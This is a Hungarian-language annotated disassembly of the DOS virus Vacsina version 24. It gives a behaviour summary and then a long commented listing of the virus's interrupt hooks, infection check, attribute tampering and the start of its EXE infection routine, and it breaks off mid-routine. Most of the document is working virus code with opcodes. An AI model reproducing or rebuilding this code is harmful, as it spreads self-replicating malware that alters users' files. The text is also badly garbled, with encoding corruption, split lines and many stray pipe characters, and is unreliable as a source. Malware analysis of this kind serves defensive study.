2022-08-21 09:07:57 +00:00
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**************************
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* Vacsina 24-es verzi<EFBFBD>ja *
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**************************
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A v<EFBFBD>rus hossza 1760D-1775D byte.
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A v<EFBFBD>rus 32D byten<EFBFBD>l hosszabb <EFBFBD>s 61559D byten<EFBFBD>l r<EFBFBD>videbb COM <EFBFBD>s EXE,esetleg OV? f
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ileokat fert<EFBFBD>z meg.
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A file v<EFBFBD>g<EFBFBD>t paragrafushat<EFBFBD>rra v<EFBFBD>gja <EFBFBD>s odam<EFBFBD>solja mag<EFBFBD>t a lentebb l<EFBFBD>that<EFBFBD> form<EFBFBD>
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ban. A file elej<EFBFBD>re
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legyen az EXE vagy COM egy JMP utas<EFBFBD>t<EFBFBD>st <EFBFBD>r, ami a bel<EFBFBD>p<EFBFBD>si pontra (038B) mutat.
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Egy filet csak
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egyszer fert<EFBFBD>z meg. A kor<EFBFBD>bbi verzi<EFBFBD>j<EFBFBD> Vacsin<EFBFBD>kat ki<EFBFBD>li. A fert<EFBFBD>z<EFBFBD>tts<EFBFBD>get a file
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utols<EFBFBD> 8 byteja
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alapj<EFBFBD>n d<EFBFBD>nti el. Ez alapj<EFBFBD>n <EFBFBD>rtja ki a kor<EFBFBD>bbi verzi<EFBFBD>kat. ( HZVIR is ez alapj<EFBFBD>n
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<EFBFBD>rt az alapos
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ellen<EFBFBD>rz<EFBFBD>sn<EFBFBD>l. Mi t<EFBFBD>bb a Yankee Doodle is <EFBFBD>r maga ut<EFBFBD>n 8 ilyen byteot ( csak COM
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filen<EFBFBD>l), <EFBFBD>gy az
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is irthat<EFBFBD> <EFBFBD>gy. A HZVIR a Yankee Doodleokat m<EFBFBD>gis m<EFBFBD>shogy <EFBFBD>rtja!
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A v<EFBFBD>rus els<EFBFBD> beh<EFBFBD>v<EFBFBD>sakor egy g<EFBFBD>pen n<EFBFBD>veli az INIC_SZ-t. Majd szaporod<EFBFBD>skor m<EFBFBD>r e
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zzel az <EFBFBD>rt<EFBFBD>kkel
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m<EFBFBD>sol<EFBFBD>dik. Csak akkor zen<EFBFBD>l Ctrl-Alt-Del-n<EFBFBD>l a v<EFBFBD>rus, ha INIC_SZ>=10D.
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Egy<EFBFBD>b k<EFBFBD>ros tev<EFBFBD>kenys<EFBFBD>ge a v<EFBFBD>rusnak nincs.
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A ki<EFBFBD>rt<EFBFBD>shoz minden adat megtal<EFBFBD>lhat<EFBFBD> 06D8-t<EFBFBD>l.
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V<EFBFBD>ltoz<EFBFBD>sok a Vacsina 16-os verzi<EFBFBD>j<EFBFBD>hoz k<EFBFBD>pest:
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- EXE filet m<EFBFBD>r val<EFBFBD>ban fert<EFBFBD>z.
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- Zen<EFBFBD>l Ctrl-Alt-Del-n<EFBFBD>l.
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- M<EFBFBD>r meg<EFBFBD>llap<EFBFBD>tja a DOS val<EFBFBD>di bel<EFBFBD>p<EFBFBD>si pontj<EFBFBD>t. Ez<EFBFBD>rt h<EFBFBD>l<EFBFBD>zatra m<EFBFBD>r nem megy f
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el.
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- M<EFBFBD>r a C5xx DOS funkci<EFBFBD>val k<EFBFBD>rdezi le mag<EFBFBD>t.
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- A mem<EFBFBD>riale<EFBFBD>r<EFBFBD> blokkot m<EFBFBD>r nem cipeli mag<EFBFBD>val.
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;---------------------------------------------------------------
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; V<>ltoz<6F>k
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;---------------------------------------------------------------
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0000 C_084D DW 084D ;Konstans. Ennyivel fogja a v<>rus h<>tr<74>bb pako
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lni a programot
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0001 DB 0 ;Nem haszn<7A>lt
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0003 VIR_HOSSZ DW 006D ;V<>rus hossza DIV 16
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0004 DB 0C DUP 0 ;Nem haszn<7A>lt
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0010 TISZTA_INT21 DD ? ;A DOS val<61>di bel<65>p<EFBFBD>si pontja ha a l<>p<EFBFBD>senk<6E>nt
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i v<EFBFBD>grehajt<EFBFBD>ssal
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;meg tudja <20>llap<61>tani. Egy<67>bk<62>nt az INT 21 ere
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deti tartalma
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0014 ERE_INT21 DD ? ;Az INT 21 eredeti c<>me
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0018 ERE_INT24 DD ? ;Az INT 24 eredeti c<>me
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001C ERE_INT09 DD ? ;Az INT 09 eredeti c<>me
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0020 F_ATTR DW ? ;File attributtuma
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0022 HANDLE DW ? ;File handle
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0024 F_DTTM DD ? ;File d<>tuma, ideje
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0028 ERE_AX DW ? ;ax eredeti <20>rt<72>ke (program futtat<61>s<EFBFBD>n<EFBFBD>l )
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002A TRAP_FLAG DB ? ;Ha <20>rt<72>ke 1 akkor enged<65>lyezett a l<>p<EFBFBD>senk<6E>nt
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i futtat<EFBFBD>s
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;Ha 0 akkor nem
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002B VEZERLO DB 1 ;Verzi<7A>sz<73>mokn<6B>l j<>tszik valamilyen szerepet.N
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em tudtam eld<EFBFBD>nteni
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;hogy mit csin<69>l !!! Ha a 0. bitje 0 nem fert<72>
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z a v<EFBFBD>rus.
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002C INIC_SZ DB ? ;Inicializ<69>l<EFBFBD>sok sz<73>ma. Csak a ****-dik inicia
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liz<EFBFBD>l<EFBFBD>s ut<EFBFBD>n zen<EFBFBD>l
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002D BUFFER DB 14 DUP (?);14 byte buffer. Ide olvassa be egy file ut<75>ls
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<EFBFBD> 8 bytej<EFBFBD>t
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;Ez alapj<70>n d<>nti el, hogy egy file fert<72>z<EFBFBD>tt-
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e m<EFBFBD>r.
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;Ide olvassa be egy file els<6C> 14 bytej<65>t (EXE-
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n<EFBFBD>l ez a HEADER)
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;Fel<65>p<EFBFBD>t<EFBFBD>se (fert<72>z<EFBFBD>tt filen<65>l):
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; 002D DW ? ;File eredeti hossza
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; 002F DW ? ;File eredeti 2.,3. byteja mint sz<73> + 0103 !
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; 0031 DW 7AF4 ;Azonos<6F>t<EFBFBD> sz<73>. Ez alapj<70>n ismeri fel, hogy fe
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rt<EFBFBD>z<EFBFBD>tt a file
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; 0033 DB 18 ;Verzi<7A>sz<73>m
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; 0034 DB ? ;9-esn<73>l nagyobb verzi<7A>n<EFBFBD>l a file eredeti els<6C>
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byteja
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;Itt <20>ll<6C>tja el<65> az eredeti els<6C> 3 byteot is
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; 002D DB ? ;File eredeti els<6C> byteja lesz itt.
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; 002E DW ? ;Ide menti a file eredeti 2.,3. bytej<65>t j<>l !
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(Egy fert<EFBFBD>z<EFBFBD>tt
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;file fert<72>tlen<65>t<EFBFBD>sekor
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;EXE HEADERn<52>l:
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; 002D DW 5A4D ;EXE jelz<6C>
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; 002F DW ? ;File hossz modulo 512
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; 0031 DW ? ;File hossz 512-es lapokban
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; 0033 DW ? ;Relok<6F>ci<63>s t<>bla hossza
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; 0035 DW ? ;Header hossza paragrafusokban
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; 0037 DW ? ;Mem<65>riaig<69>ny (min)
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; 0039 DW ? ;Mem<65>riaig<69>ny (max)
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;---------------------------------------------------------------
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; V<>ltoz<6F>ter<65>let v<>ge
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;---------------------------------------------------------------
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;---------------------------------------------------------------
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; Egy hossz<73> ugr<67>s az eredeti DOS-ra
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;---------------------------------------------------------------
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003B FF2E1000 * JMP FAR [0010] ;TISZTA_INT21 <20>rt<72>ke ekkor m<>g=ERE_IN
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T21-gyel
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;---------------------------------------------------------------
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; Tiszta INT 21 h<>v<EFBFBD>s
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;---------------------------------------------------------------
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003F 9C * PUSHF
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0040 FA CLI
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0041 2E CS:
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0042 FF1E1400 CALL FAR [0014]
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0046 C3 RET
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;---------------------------------------------------------------
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; Directory bejegyz<79>s aktualiz<69>l<EFBFBD>sa
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;---------------------------------------------------------------
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0047 53 PUSH BX
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0048 50 PUSH AX
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0049 2E CS:
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004A 8B1E2200 MOV BX,[0022] ;HANDLE
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004E B445 MOV AH,45 ;DUPLICATE_FILE_HANDLE
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0050 E8ECFF CALL 003F ;TINT 21
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0053 7209 JB 005E ;Hib<69>n<EFBFBD>l CF-fel t<>r vissza
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0055 8BD8 MOV BX,AX ;<3B>j handle
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0057 B43E MOV AH,3E ;CLOSE_HANDLE
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0059 E8E3FF CALL 003F ;TINT 21
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005C EB01 JMP 005F ;Hib<69>n<EFBFBD>l CF-fel, egy<67>bk<62>nt NC-vel t<>r
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vissza
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005E F8 * CLC
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005F 58 * POP AX
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0060 5B POP BX
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0061 C3 RET
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;---------------------------------------------------------------
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; INT 24 (Dos kritikus hibakezel<65>je)
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;---------------------------------------------------------------
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0062 B003 * MOV AL,03 ;Kritikus hib<69>n<EFBFBD>l DOS hib<69>t gener<65>ljo
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n !
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0064 CF IRET
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;---------------------------------------------------------------
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; INT 09 (Billenty<74>zet hardware interruptja)
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;---------------------------------------------------------------
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; Ha a CTRL-ALT-DEL le van nyomva <20>s INIC_SZ>=10D akkor zen<65>l
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0065 50 * PUSH AX
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0066 E460 IN AL,60 ;Scan k<>d beolvas<61>sa
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0068 3C53 CMP AL,53 ;<Del> k<>dja
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006A 752E JNZ 009A ;Ha nem ugr<67>s az eredeti rutinra
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006C B402 MOV AH,02 ;Shift st<73>tusz lek<65>rdez<65>se
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006E CD16 INT 16
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0070 240C AND AL,0C
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0072 3C0C CMP AL,0C ;Crtl-Alt
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0074 7524 JNZ 009A ;Ha nincs mind a kett<74> lenyomva ugr<67>s
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0076 8CC8 MOV AX,CS
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0078 8ED8 MOV DS,AX ;Szegmensek be<62>ll<6C>t<EFBFBD>sa
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007A 8ED0 MOV SS,AX
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007C BCFEFF MOV SP,FFFE
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007F 2E CS:
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0080 803E2C000A CMP BYTE PTR [002C],0A ;INIC_SZ
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0085 7203 JB 008A ;Ha 10D-n<>l kevesebbszer inicializ<69>l<EFBFBD>d
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ott a v<EFBFBD>rus
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0087 E89705 CALL 0621 ;Zen<65>lj!
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008A B80000 MOV AX,0000
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008D 8ED8 MOV DS,AX
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008F C70672043412 MOV WORD PTR [0472],1234;Meleg reset jelz<6C>s
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0095 EAF0FF00F0 JMP F000:FFF0 ;REBOOT
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009A 58 * POP AX
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009B 2E CS:
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009C FF2E1C00 JMP FAR [001C] ;ERE_INT09 eredeti rutin futtat<61>sa
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;---------------------------------------------------------------
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; INT 21 (Dos bel<65>p<EFBFBD>si pontja)
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;---------------------------------------------------------------
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; Lef<65>lelt DOS funkci<63>k sz<73>toszt<7A>sa
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00A0 9C * PUSHF ;Megj.: t<>k felesleges
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00A1 3D004B CMP AX,4B00 ;EXECUTE
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00A4 7461 JZ 0107
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00A6 3D00C5 CMP AX,C500 ;ax=18H, STC, IRET-et hajt v<>gre
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00A9 7448 JZ 00F3
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00AB 3D01C5 CMP AX,C501 ;ah=0, al=[002B], STC, IRET-et hajt v
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<EFBFBD>gre
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00AE 7448 JZ 00F8
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00B0 3D02C5 CMP AX,C502 ;[002B]=cl, STC, IRET-et hajt v<>gre
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00B3 744B JZ 0100
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00B5 3D03C5 CMP AX,C503 ;es:bx=TISZTA_INT21 <20>s vmi egy<67>b
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00B8 740C JZ 00C6
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00BA 9D POPF
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00BB 2E CS:
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00BC FF2E1000 JMP FAR [0010] ;ERE_INT21 futtat<61>sa
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;---------------------------------------------------------------
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; Visszat<61>r<EFBFBD>s a C5xx alfunkci<63>kn<6B>l
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;---------------------------------------------------------------
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00C0 9D * POPF
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00C1 FB STI
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00C2 F9 STC ;Jelz<6C>s, hogy a vacsina k<>ld adatot
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00C3 CA0200 RETF 0002 ;Visszat<61>r<EFBFBD>s
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;---------------------------------------------------------------
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; C503 DOS alfunkci<63>
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;---------------------------------------------------------------
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; Be: bx=h<>v<EFBFBD> vacsina verzi<7A>sz<73>ma
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; Ha nagyobb verzi<7A>j<EFBFBD> vacsina h<>vta NC-vel t<>r vissza, egyebk<62>nt CF-fel t<>
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r vissza jelezv<EFBFBD>n
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; hogy a v<>rus m<>r a mem<65>ri<72>ban van.
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00C6 B81900 * MOV AX,0019 ;Verzi<7A>sz<73>m+1
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00C9 2E CS:
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00CA F6062B0002 TEST BYTE PTR [002B],02 ;VEZERLO ???
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00CF 7501 JNZ 00D2
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00D1 48 DEC AX
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00D2 3BD8 * CMP BX,AX
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00D4 B000 MOV AL,00 ;Megj.: <20>rdekes, hogy a Yankee Doodle
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-ben itt hib<EFBFBD>san
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00D6 D0D0 RCL AL,1 ;XOR AL,AL van, ami t<>rli a carry-t
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00D8 50 PUSH AX ;ax-ben 0 vagy 1
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00D9 B81800 MOV AX,0018
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00DC 2E CS:
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00DD F6062B0004 TEST BYTE PTR [002B],04 ;VEZERLO ???
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00E2 7501 JNZ 00E5
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00E4 40 INC AX
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00E5 3BD8 * CMP BX,AX ;Ha nagyobb verzi<7A>j<EFBFBD> vacsina h<>vta NC
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-vel t<EFBFBD>r vissza
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00E7 2E CS:
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00E8 C41E1400 LES BX,[0014] ;es:bx=ERE_INT21
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00EC 58 POP AX
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00ED 44 INC SP ;popf-et helyettes<65>ti
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00EE 44 INC SP
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00EF FB STI
|
|
|
|
|
00F0 CA0200 RETF 0002
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; C500 DOS alfunkci<63>
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
00F3 B81800 * MOV AX,0018
|
|
|
|
|
00F6 EBC8 JMP 00C0 ;Visszat<61>r<EFBFBD>s CF-fel
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; C501 DOS alfunkci<63>
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
00F8 2E * CS:
|
|
|
|
|
00F9 A02B00 MOV AL,[002B] ;Nem tudom pontosan mit jelent!
|
|
|
|
|
00FC B400 MOV AH,00
|
|
|
|
|
00FE EBC0 JMP 00C0 ;Visszat<61>r<EFBFBD>s CF-fel
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; C502 DOS alfunkci<63>
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
0100 2E * CS:
|
|
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|
|
0101 880E2B00 MOV [002B],CL ;[002B] be<62>ll<6C>t<EFBFBD>sa (nem tudom mit jel
|
|
|
|
|
ent)
|
|
|
|
|
0105 EBB9 JMP 00C0 ;Visszat<61>r<EFBFBD>s Cf-gel
|
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|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; Lef<65>lelt DOS 4B00 alfunkci<63>
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; INT 24 (DOS kritikus hibakezel<65>je) lek<65>rdez<65>re <20>t<EFBFBD>r<EFBFBD>sa
|
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|
|
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|
|
0107 06 * PUSH ES ;bp+10
|
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|
0108 1E PUSH DS ;bp+0E
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|
|
0109 55 PUSH BP ;bp+0C
|
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|
010A 57 PUSH DI ;bp+0A
|
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|
|
|
010B 56 PUSH SI ;bp+08
|
|
|
|
|
010C 52 PUSH DX ;bp+06
|
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|
|
|
010D 51 PUSH CX ;bp+04
|
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|
|
|
010E 53 PUSH BX ;bp+02
|
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|
|
010F 50 PUSH AX ;bp+00
|
|
|
|
|
0110 8BEC MOV BP,SP
|
|
|
|
|
0112 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx)
|
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|
|
0115 E827FF CALL 003F ;Tiszta int 21 h<>v<EFBFBD>s (a tov<6F>bbiakban
|
|
|
|
|
TINT 21)
|
|
|
|
|
0118 2E CS:
|
|
|
|
|
0119 8C061A00 MOV [001A],ES ;ERE_INT24 szegmense
|
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|
|
|
011D 2E CS:
|
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|
|
|
011E 891E1800 MOV [0018],BX ;ERE_INT24 offsetje
|
|
|
|
|
0122 0E PUSH CS
|
|
|
|
|
0123 1F POP DS ;ds=cs
|
|
|
|
|
0124 BA6200 MOV DX,0062
|
|
|
|
|
0127 B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
|
|
|
|
012A E812FF CALL 003F ;TINT 21
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;ds:dx <20>ltal mutatott nev<65> file attributtum<75>nak lek<65>rdez<65>se, <20>s R/O t<>rl<72>se
|
|
|
|
|
|
|
|
|
|
012D B80043 MOV AX,4300 ;GET_FILE_ATTR (cx)
|
|
|
|
|
0130 8E5E0E MOV DS,[BP+0E] ;eredeti ds
|
|
|
|
|
0133 8B5606 MOV DX,[BP+06] ;eredeti dx
|
|
|
|
|
0136 E806FF CALL 003F ;TINT 21
|
|
|
|
|
0139 7303 JNB 013E ;Ha nincs hiba (l<>tezik a file)
|
|
|
|
|
013B E93302 JMP 0371 ;Hib<69>n<EFBFBD>l INT 24 vissza<7A>ll<6C>t<EFBFBD>sa, erede
|
|
|
|
|
ti DOS h<EFBFBD>v<EFBFBD>s
|
|
|
|
|
013E 2E * CS:
|
|
|
|
|
013F 890E2000 MOV [0020],CX ;F_ATTR
|
|
|
|
|
0143 B80143 MOV AX,4301 ;SET_FILE_ATTR (cx)
|
|
|
|
|
0146 80E1FE AND CL,FE ;R/O bit t<>rl<72>se
|
|
|
|
|
0149 E8F3FE CALL 003F ;TINT 21
|
|
|
|
|
014C 7303 JNB 0151 ;Ha nincs hiba
|
|
|
|
|
014E E92002 JMP 0371 ;Hib<69>n<EFBFBD>l INT 24 vissza<7A>ll<6C>t<EFBFBD>sa, erede
|
|
|
|
|
ti DOS h<EFBFBD>v<EFBFBD>s
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; File megnyit<69>sa <20>r<EFBFBD>sra, olvas<61>sra
|
|
|
|
|
|
|
|
|
|
0151 B8023D * MOV AX,3D02 ;OPEN_HANDLE (ax) <20>r<EFBFBD>sra,olvas<61>sra
|
|
|
|
|
0154 8E5E0E MOV DS,[BP+0E] ;eredeti ds
|
|
|
|
|
0157 8B5606 MOV DX,[BP+06] ;eredeti dx
|
|
|
|
|
015A E8E2FE CALL 003F ;TINT 21
|
|
|
|
|
015D 7303 JNB 0162 ;Ha nincs hiba
|
|
|
|
|
015F E9FE01 JMP 0360 ;Hib<69>n<EFBFBD>l INT 24,F_ATTR vissza<7A>ll<6C>t<EFBFBD>sa
|
|
|
|
|
, eredeti DOS
|
|
|
|
|
0162 2E * CS:
|
|
|
|
|
0163 A32200 MOV [0022],AX ;HANDLE
|
|
|
|
|
0166 8BD8 MOV BX,AX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; File idej<65>nek lek<65>rdez<65>se
|
|
|
|
|
|
|
|
|
|
0168 B80057 MOV AX,5700 ;GET_FILE_DTTM (cx:dx)
|
|
|
|
|
016B E8D1FE CALL 003F ;TINT 21
|
|
|
|
|
016E 2E CS:
|
|
|
|
|
016F 890E2400 MOV [0024],CX ;F_DTTM (time)
|
|
|
|
|
0173 2E CS:
|
|
|
|
|
0174 89162600 MOV [0026],DX ;F_DTTM+2 (date)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;A file utols<6C> 8 bytej<65>nak beolvas<61>sa a BUFFER-be, <20>s a fert<72>z<EFBFBD>tts<74>g vizsg<73>
|
|
|
|
|
lata
|
|
|
|
|
|
|
|
|
|
0178 0E PUSH CS
|
|
|
|
|
0179 1F POP DS ;ds=cs
|
|
|
|
|
017A B80242 * MOV AX,4202 ;File pointer a file v<>ge-8-dik poz<6F>c
|
|
|
|
|
i<EFBFBD>ra
|
|
|
|
|
017D B9FFFF MOV CX,FFFF
|
|
|
|
|
0180 BAF8FF MOV DX,FFF8
|
|
|
|
|
0183 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
0187 E8B5FE CALL 003F ;TINT 21
|
|
|
|
|
018A 7221 JB 01AD ;Hib<69>n<EFBFBD>l INT 24, F_ATTR, F_DTTM vissza
|
|
|
|
|
<EFBFBD>ll<EFBFBD>t<EFBFBD>sa, CLOSE
|
|
|
|
|
018C 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
0190 BA2D00 MOV DX,002D ;BUFFER c<>me ds:dx-ben
|
|
|
|
|
0193 B90800 MOV CX,0008 ;8 byte olvas<61>sa
|
|
|
|
|
0196 B43F MOV AH,3F ;READ_HANDLE (bx,cx,ds:dx)
|
|
|
|
|
0198 E8A4FE CALL 003F ;TINT 21
|
|
|
|
|
019B 7210 JB 01AD ;Hib<69>n<EFBFBD>l INT 24, F_ATTR, F_DTTM vissza
|
|
|
|
|
<EFBFBD>ll<EFBFBD>t<EFBFBD>sa, CLOSE
|
|
|
|
|
019D 3D0800 CMP AX,0008 ;Beolvasta-e mind a 8 byteot?
|
|
|
|
|
01A0 750B JNZ 01AD ;Hib<69>n<EFBFBD>l INT 24, F_ATTR, F_DTTM vissz
|
|
|
|
|
a<EFBFBD>ll<EFBFBD>t<EFBFBD>sa, CLOSE
|
|
|
|
|
01A2 813E3100F47A CMP WORD PTR [0031],7AF4;Fert<72>z<EFBFBD>tt-e a file?
|
|
|
|
|
01A8 7406 JZ 01B0 ;Ha fert<72>z<EFBFBD>tt ugr<67>s
|
|
|
|
|
01AA E98C00 JMP 0239 ;Lehet megfert<72>zni a filet
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Seg<65>dugr<67>s hib<69>n<EFBFBD>l ( INT 24, F_ATTR, F_DTTM vissza<7A>ll<6C>t<EFBFBD>sa, CLOSE )
|
|
|
|
|
|
|
|
|
|
01AD E99601 * JMP 0346
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; A file m<>r fert<72>z<EFBFBD>tt Vacsina v<>russal
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; Milyen verzi<7A>j<EFBFBD> v<>rus?
|
|
|
|
|
|
|
|
|
|
01B0 B418 * MOV AH,18
|
|
|
|
|
01B2 F6062B0002 TEST BYTE PTR [002B],02 ;VEZERLO ???
|
|
|
|
|
01B7 7402 JZ 01BB
|
|
|
|
|
01B9 FEC4 INC AH
|
|
|
|
|
01BB 38263300 * CMP [0033],AH ;A fileban l<>v<EFBFBD> v<>rus verzi<7A>ja
|
|
|
|
|
01BF 73EC JNB 01AD ;Ha egyezik vagy nagyobb-> nem fert<72>z<EFBFBD>
|
|
|
|
|
nk
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Egy fert<72>z<EFBFBD>tt fileb<65>l a sz<73>ks<6B>ges inform<72>ci<63>k kiv<69>tele
|
|
|
|
|
|
|
|
|
|
01C1 8A0E3400 MOV CL,[0034] ;9-esn<73>l nagyobb verzi<7A>n<EFBFBD>l a file ered
|
|
|
|
|
eti els<EFBFBD> byteja
|
|
|
|
|
01C5 A12D00 MOV AX,[002D] ;File eredeti hossza
|
|
|
|
|
01C8 A3D806 MOV [06D8],AX ;ERE_HOSSZ
|
|
|
|
|
01CB A12F00 MOV AX,[002F] ;File eredeti 2.,3. byteja mint sz<73> +
|
|
|
|
|
0103 !
|
|
|
|
|
01CE A3DA06 MOV [06DA],AX ;ERE_2_3
|
|
|
|
|
01D1 2D0301 SUB AX,0103 ;Val<61>di eredeti 2.,3. byte
|
|
|
|
|
01D4 A32E00 MOV [002E],AX ;Elt<6C>rolja
|
|
|
|
|
01D7 803E330009 CMP BYTE PTR [0033],09
|
|
|
|
|
01DC 7702 JA 01E0 ;9-es verzi<7A>n<EFBFBD>l nagyobb?
|
|
|
|
|
01DE B1E9 MOV CL,E9 ;Egy<67>bk<62>nt az els<6C> byte egy JMP k<>dja
|
|
|
|
|
01E0 880E2D00 * MOV [002D],CL ;Elt<6C>rolja
|
|
|
|
|
01E4 880EDF06 MOV [06DF],CL ;ERE_1
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Egy fert<72>z<EFBFBD>tt fileb<65>l a r<>gebbi vacsina ki<6B>rt<72>sa
|
|
|
|
|
; Az eredeti els<6C> 3 byte vissza<7A>ll<6C>t<EFBFBD>sa:
|
|
|
|
|
|
|
|
|
|
01E8 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx)
|
|
|
|
|
01EB B90000 MOV CX,0000 ;File elej<65>re <20>ll<6C>s
|
|
|
|
|
01EE BA0000 MOV DX,0000
|
|
|
|
|
01F1 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
01F5 E847FE CALL 003F ;TINT 21
|
|
|
|
|
01F8 72B3 JB 01AD ;Hib<69>n<EFBFBD>l
|
|
|
|
|
01FA B440 MOV AH,40 ;WRITE_HANDLE (bx,cx,ds:ds)
|
|
|
|
|
01FC BA2D00 MOV DX,002D
|
|
|
|
|
01FF B90300 MOV CX,0003
|
|
|
|
|
0202 E83AFE CALL 003F ;TINT 21
|
|
|
|
|
0205 72A6 JB 01AD ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0207 3D0300 CMP AX,0003 ;Ki<4B>rta-e mind a 3 byteot?
|
|
|
|
|
020A 75A1 JNZ 01AD ;Hib<69>n<EFBFBD>l
|
|
|
|
|
020C E838FE CALL 0047 ;Directory bejegyz<79>s aktualiz<69>l<EFBFBD>sa
|
|
|
|
|
020F 729C JB 01AD ;Hib<69>n<EFBFBD>l
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; File m<>retre v<>g<EFBFBD>sa:
|
|
|
|
|
|
|
|
|
|
0211 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx)
|
|
|
|
|
0214 B90000 MOV CX,0000
|
|
|
|
|
0217 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ
|
|
|
|
|
021B 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
021F E81DFE CALL 003F ;TINT 21
|
|
|
|
|
0222 7289 JB 01AD ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0224 B440 MOV AH,40 ;WRITE_HANDLE
|
|
|
|
|
0226 B90000 MOV CX,0000 ;Csonkol<6F>s
|
|
|
|
|
0229 E813FE CALL 003F ;TINT 21
|
|
|
|
|
022C 7208 JB 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
022E E816FE CALL 0047 ;Directory bejegyz<79>s aktualiz<69>l<EFBFBD>sa
|
|
|
|
|
0231 7203 JB 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0233 E944FF JMP 017A ;K<>sz: le<6C>rtottuk a v<>rust, de h<>tha v
|
|
|
|
|
an m<EFBFBD>g egy
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Seg<65>dugr<67>s hib<69>n<EFBFBD>l ( INT 24, F_ATTR, F_DTTM vissza<7A>ll<6C>t<EFBFBD>sa, CLOSE )
|
|
|
|
|
|
|
|
|
|
0236 E90D01 * JMP 0346
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; A file m<>g/m<>r nem fert<72>z<EFBFBD>tt, lehet megfert<72>zni
|
|
|
|
|
;---------------------------------------------------------------
|
|
|
|
|
; Csak akkor fert<72>z, ha [002B] and 1 = 1 !!!
|
|
|
|
|
|
|
|
|
|
0239 F6062B0001 * TEST BYTE PTR [002B],01 ;VEZERLO
|
|
|
|
|
023E 74F6 JZ 0236 ;Nem fert<72>z !!!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; Csak akkor fert<72>zi a filet, ha 32 < hossz < 61559
|
|
|
|
|
|
|
|
|
|
0240 B80242 MOV AX,4202 ;MOVE_FILE_POINTER (cx:dx)
|
|
|
|
|
0243 B90000 MOV CX,0000
|
|
|
|
|
0246 8BD1 MOV DX,CX ;File v<>g<EFBFBD>re <20>ll<6C>s
|
|
|
|
|
0248 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
024C E8F0FD CALL 003F ;TINT 21
|
|
|
|
|
024F 72E5 JB 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0251 83FA00 CMP DX,+00 ;dx:ax-ben a file hossza
|
|
|
|
|
0254 75E0 JNZ 0236 ;Nagyobb mint 64K->nem fert<72>zz<7A>k
|
|
|
|
|
0256 3D2000 CMP AX,0020
|
|
|
|
|
0259 76DB JBE 0236 ;Ha 32D byten<65>l kisebb vagy egyenl<6E>
|
|
|
|
|
025B 3D77F0 CMP AX,F077
|
|
|
|
|
025E 90 NOP ;Megj.: Ez a NOP minek van itt?
|
|
|
|
|
025F 73D5 JNB 0236 ;Ha 61559 byten<65>l hosszabb vagy egyen
|
|
|
|
|
l<EFBFBD>
|
|
|
|
|
0261 A3D806 MOV [06D8],AX ;ERE_HOSSZ
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; File elj<6C>re <20>ll
|
|
|
|
|
|
|
|
|
|
0264 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx)
|
|
|
|
|
0267 B90000 MOV CX,0000
|
|
|
|
|
026A 8BD1 MOV DX,CX ;File elej<65>re <20>ll
|
|
|
|
|
026C 8B1E2200 MOV BX,[0022] ;HANDLE
|
|
|
|
|
0270 E8CCFD CALL 003F ;TINT 21
|
|
|
|
|
0273 72C1 JB 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; A BUFFERbe a file els<6C> 14D bytej<65>nak beolvas<61>sa
|
|
|
|
|
|
|
|
|
|
0275 BA2D00 MOV DX,002D ;BUFFER
|
|
|
|
|
0278 B90E00 MOV CX,000E
|
|
|
|
|
027B B43F MOV AH,3F ;READ_HANDLE (bx,cx,ds:dx)
|
|
|
|
|
027D E8BFFD CALL 003F ;TINT 21
|
|
|
|
|
0280 72B4 JB 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
|
0282 3D0E00 CMP AX,000E
|
|
|
|
|
0285 75AF JNZ 0236 ;Hib<69>n<EFBFBD>l
|
|
|
|
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0287 813E2D004D5A CMP WORD PTR [002D],5A4D
|
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|
028D 740B JZ 029A ;Ugr<67>s, ha EXE
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028F 813E2D005A4D CMP WORD PTR [002D],4D5A
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0295 7403 JZ 029A
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0297 EB15 JMP 02AE ;COM filen<65>l
|
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0299 90 NOP
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; EXE file megfert<72>z<EFBFBD>se (nem fert<72>zz<7A>k meg, ha hib<69>s a header)
|
